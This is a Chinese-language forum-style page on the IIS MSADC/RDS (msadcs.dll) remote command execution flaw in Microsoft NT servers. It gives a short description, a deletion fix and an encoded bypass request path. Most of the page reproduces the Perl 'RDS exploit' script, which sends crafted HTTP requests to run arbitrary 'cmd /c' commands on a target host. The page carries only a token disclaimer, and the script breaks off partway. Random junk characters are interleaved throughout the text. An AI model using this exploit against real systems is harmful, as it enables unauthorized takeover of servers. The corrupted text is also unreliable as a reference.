IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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Z "w %3'4QmpR 涉及程序:
C
#ng`7 q Microsoft NT server
S .rT5A[ kZ+nL)YQ# 描述:
TX]4Y953D 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
PY:
l SoODss~X 详细:
i^(_Gk 如果你没有时间读详细内容的话,就删除:
vy#n7hdCc c:\Program Files\Common Files\System\Msadc\msadcs.dll
wKhuUZj{ 有关的安全问题就没有了。
4KE"r F lIO.LF3 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
SN|EWe^ %4U;Rdq&Ud 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
hS&,Gm`^ 关于利用ODBC远程漏洞的描述,请参看:
L)VEA8}
a
+Q9kh http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0U]wEz*b #NVtZs!V/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
38!$9) http://www.microsoft.com/security/bulletins/MS99-025faq.asp k,M%/AXd 693J?Yah[ 这里不再论述。
I#Ay)+D $rDeI-)S 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
@D8c-`LC"* :(?joLA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
m;{_%oQ; 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
cj-P&D[Ny[ eX9{ wb( qIK"@i[
uq #将下面这段保存为txt文件,然后: "perl -x 文件名"
cD^n}'ej Rd;k> e #!perl
R8UtX9'*sa #
<3z]d?u # MSADC/RDS 'usage' (aka exploit) script
AJSe +1 #
Lm\N` # by rain.forest.puppy
PJN TIa #
au2ieZZ[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
z
%` \p # beta test and find errors!
T%K(opISc( XJsHy_6
use Socket; use Getopt::Std;
i$)bZr\ getopts("e:vd:h:XR", \%args);
=,KRZqz &TE=$a:d& print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Kxz<f>`b/ 7*y_~H if (!defined $args{h} && !defined $args{R}) {
J&S$F:HM print qq~
q2 D2:0^ 2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
@HJ&"72$< -h <host> = host you want to scan (ip or domain)
=6imrRaaV -d <seconds> = delay between calls, default 1 second
-,Cx|Nl -X = dump Index Server path table, if available
9_[TYzpB! -v = verbose
5+b[-Daz -e = external dictionary file for step 5
X>2_Gol! oC>e'_6_b Or a -R will resume a command session
y5iLFR3z }kI-UEn$EP ~; exit;}
on $?c /HgdTyR) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Adgh:'h if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
33|>u+ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!7@IWz(," if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:Ts"f* $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%d*k3f
} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
314PcSc ^ruS if (!defined $args{R}){ $ret = &has_msadc;
~YOwg\w^ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
;!&A 5Fm.] / print "Please type the NT commandline you want to run (cmd /c assumed):\n"
|r 1\ . "cmd /c ";
n[lf==R $in=<STDIN>; chomp $in;
Qn(e[
C6\ $command="cmd /c " . $in ;
szMh}q"u LYNd^} if (defined $args{R}) {&load; exit;}
6#fl1GdH- cjsQm6 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?`Qw=8]` &try_btcustmr;
\-N
4G1 5b3Wt7 print "\nStep 2: Trying to make our own DSN...";
<~t38|Ff@
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
H1rge< Jf@M>BT^A print "\nStep 3: Trying known DSNs...";
Z+)R%Z'aL &known_dsn;
<",4O 2]5dSXD print "\nStep 4: Trying known .mdbs...";
[ jve
|-v= &known_mdb;
"DM$FRI0 s/UIo^m if (defined $args{e}){
.2/(G{}U print "\nStep 5: Trying dictionary of DSN names...";
-fuSCj &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:pcKww|V /E$"\md print "Sorry Charley...maybe next time?\n";
jFpXTy[> exit;
-X5rGp++ dG}fpQ3& ##############################################################################
JLm0[1Lzd OEy'8O$ sub sendraw { # ripped and modded from whisker
[t5:4
Iq sleep($delay); # it's a DoS on the server! At least on mine...
048BQ my ($pstr)=@_;
#sdW3m_% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FiJJe die("Socket problems\n");
_,_>B8 if(connect(S,pack "SnA4x8",2,80,$target)){
o0&jel1a select(S); $|=1;
|Y|{9Osus print $pstr; my @in=<S>;
ym:^Y-^iV select(STDOUT); close(S);
#>GUfhou) return @in;
Bu">)AnN } else { die("Can't connect...\n"); }}
:XEr{X xz[a3In+ ##############################################################################
PmyS6a@ He^+>XIam sub make_header { # make the HTTP request
YUJlQ2e( my $msadc=<<EOT
VS@o_fUx) POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
kX."|] User-Agent: ACTIVEDATA
E8J`7sa Host: $ip
"12.Bi.O"[ Content-Length: $clen
@4Z>; Connection: Keep-Alive
rBa <s kc^Q?-? ADCClientVersion:01.06
."l@aE=| Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
dbSIC[q [[P?T^KT --!ADM!ROX!YOUR!WORLD!
yZ)GP!cM4c Content-Type: application/x-varg
E9HA8 Content-Length: $reqlen
P\KP )bkC K/79Tb- EOT
(h7 rW3 ; $msadc=~s/\n/\r\n/g;
HiCNs;t return $msadc;}
0vNEl3f'O 96T.xT>& ##############################################################################
>w+WG0Z
K ]S<eO6z sub make_req { # make the RDS request
qY`)W[ my ($switch, $p1, $p2)=@_;
[5,aBf)X my $req=""; my $t1, $t2, $query, $dsn;
\NKf$"x} 1s8 v E
f if ($switch==1){ # this is the btcustmr.mdb query
<iunDL0 $query="Select * from Customers where City=" . make_shell();
i%+cPQ^o $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
9V`/zq? $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1VL!0H ~'KymarPU elsif ($switch==2){ # this is general make table query
SdBv?`u|g $query="create table AZZ (B int, C varchar(10))";
D oX!P|* $dsn="$p1";}
[
\ LA f;`pj`-k% elsif ($switch==3){ # this is general exploit table query
zm)
]cq $query="select * from AZZ where C=" . make_shell();
db$Th=s[ $dsn="$p1";}
zvYkWaa_Qz )dgXS//Y elsif ($switch==4){ # attempt to hork file info from index server
A-1Wn^,>* $query="select path from scope()";
=z'- B~ $dsn="Provider=MSIDXS;";}
_HX1E M8a^yoZn elsif ($switch==5){ # bad query
]N_(M $query="select";
f1(V~{N,+ $dsn="$p1";}
5p}Y6Lc\j v~e@:7d i $t1= make_unicode($query);
DZ5%- $t2= make_unicode($dsn);
<at/z9b $req = "\x02\x00\x03\x00";
f@l$52f3D $req.= "\x08\x00" . pack ("S1", length($t1));
]#P9.c_} $req.= "\x00\x00" . $t1 ;
j9u/R01d $req.= "\x08\x00" . pack ("S1", length($t2));
_7#Ng@#\ $req.= "\x00\x00" . $t2 ;
]3wg-p+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
sufidi return $req;}
_"SE^ _&